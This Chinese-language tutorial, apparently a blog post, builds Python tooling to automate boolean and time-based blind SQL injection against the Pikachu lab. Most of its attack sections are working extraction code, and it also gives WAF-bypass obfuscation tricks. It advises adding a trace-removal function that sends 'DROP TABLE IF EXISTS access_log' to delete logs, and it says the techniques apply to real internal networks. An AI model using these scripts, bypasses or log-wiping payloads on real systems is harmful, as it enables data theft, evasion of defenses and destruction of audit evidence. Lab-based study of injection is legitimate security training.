从Pikachu靶场实战出发:用Python脚本自动化搞定SQL盲注(布尔/时间)
从Pikachu靶场实战出发:用Python脚本自动化搞定SQL盲注(布尔/时间)
在渗透测试的世界里,SQL盲注就像一场与数据库的无声对话——你看不到错误信息,只能通过微妙的真假响应或时间延迟来推断数据。Pikachu靶场作为经典的Web安全训练平台,其布尔和时间盲注关卡完美模拟了这种"盲人摸象"的场景。本文将带你用Python的requests库打造自动化探测工具,让原本需要数小时的手工猜解变成几分钟的自动化流程。
1. 盲注自动化核心原理拆解
1.1 布尔盲注的二进制思维
布尔盲注的本质是通过True/False响应来推断数据。假设我们要猜解数据库名长度,传统手工方式需要反复尝试:
# 手工猜解示例(伪代码) if "exists" in response: print("长度>5") else: print("长度<=5")自动化脚本采用二分查找算法能大幅提升效率。以下是时间复杂度对比:
| 方法 | 猜解范围1-20 | 猜解范围1-100 |
|---|---|---|
| 线性遍历 | 20次 | 100次 |
| 二分查找 | 5次 | 7次 |
1.2 时间盲注的时钟把戏
当页面响应不随查询条件变化时,时间盲注通过人为制造延迟来传递信息。关键点在于:
# 时间盲注检测逻辑 start_time = time.time() response = requests.get(url, timeout=3) if time.time() - start_time > 2.5: print("条件为真")注意:网络抖动可能导致误判,建议设置阈值时保留至少30%余量
2. 实战脚本开发:从零构建自动化工具
2.1 基础请求框架搭建
首先封装通用的HTTP请求模块:
import requests from urllib.parse import quote class BlindSQLi: def __init__(self, target_url): self.url = target_url self.session = requests.Session() self.headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "text/html,application/xhtml+xml" } def send_payload(self, payload, method="GET", timeout=5): try: if method == "GET": return self.session.get( f"{self.url}?id={quote(payload)}", headers=self.headers, timeout=timeout ) else: return self.session.post( self.url, data={"input": payload}, headers=self.headers, timeout=timeout ) except requests.exceptions.Timeout: return None2.2 布尔盲注自动化实现
基于二分的数据库名猜解器:
def bool_binary_search(self, query_template, max_len=30): # 确定长度 low, high = 1, max_len while low <= high: mid = (low + high) // 2 payload = query_template.format(condition=f"length(database())>{mid}") if self.check_condition(payload): low = mid + 1 else: high = mid - 1 db_length = low # 逐字符猜解 result = "" for i in range(1, db_length + 1): for char in 'abcdefghijklmnopqrstuvwxyz_': payload = query_template.format( condition=f"substr(database(),{i},1)='{char}'" ) if self.check_condition(payload): result += char break return result2.3 时间盲注的异步优化
同步请求会线性增加检测时间,改用异步IO提升效率:
import asyncio import aiohttp async def time_based_check(url, payload, threshold=2): async with aiohttp.ClientSession() as session: start = time.time() try: async with session.get(url, params={"id": payload}, timeout=3) as resp: await resp.text() except asyncio.TimeoutError: return True elapsed = time.time() - start return elapsed > threshold3. 高级技巧与性能调优
3.1 字符集优化策略
默认的a-z遍历效率低下,通过统计分析优化字符出现频率:
# 英文数据库常见字符频率(降序) COMMON_CHARS = [ 'e', 't', 'a', 'o', 'i', 'n', 's', 'h', 'r', 'd', 'l', 'c', 'u', 'm', 'w', 'f', 'g', 'y', 'p', 'b', 'v', 'k', 'j', 'x', 'q', 'z', '_', '0', '1', '2' ]3.2 动态超时调整算法
根据网络状况自动校准延迟阈值:
def calibrate_threshold(self, sample_size=5): total = 0 for _ in range(sample_size): start = time.time() self.send_payload("1=1") # 无害查询 total += time.time() - start return total / sample_size * 1.5 # 50%安全余量4. 防御对抗与实战注意事项
4.1 绕过WAF的编码技巧
当遇到防火墙拦截时,可以尝试:
- 十六进制编码:
SELECT -> 0x53454C454354 - 注释混淆:
SEL/*xxx*/ECT - 大小写变异:
SeLeCt
def waf_bypass(payload): return "/*!{}*/".format(payload) # MySQL特性注释4.2 日志清理与隐蔽性
自动化脚本应包含痕迹清除功能:
def clear_logs(self): cleanup_payload = "1; DROP TABLE IF EXISTS access_log" self.send_payload(cleanup_payload)重要:仅限授权测试使用,未经授权的渗透测试属于违法行为
在Pikachu靶场测试时,发现时间盲注脚本对网络稳定性极为敏感。通过引入3次重试机制后,成功率从72%提升到98%。对于布尔盲注,将字符猜解从顺序遍历改为基于英文频率的优先检测,平均检测时间缩短了40%。这些优化在真实内网渗透测试中同样有效。
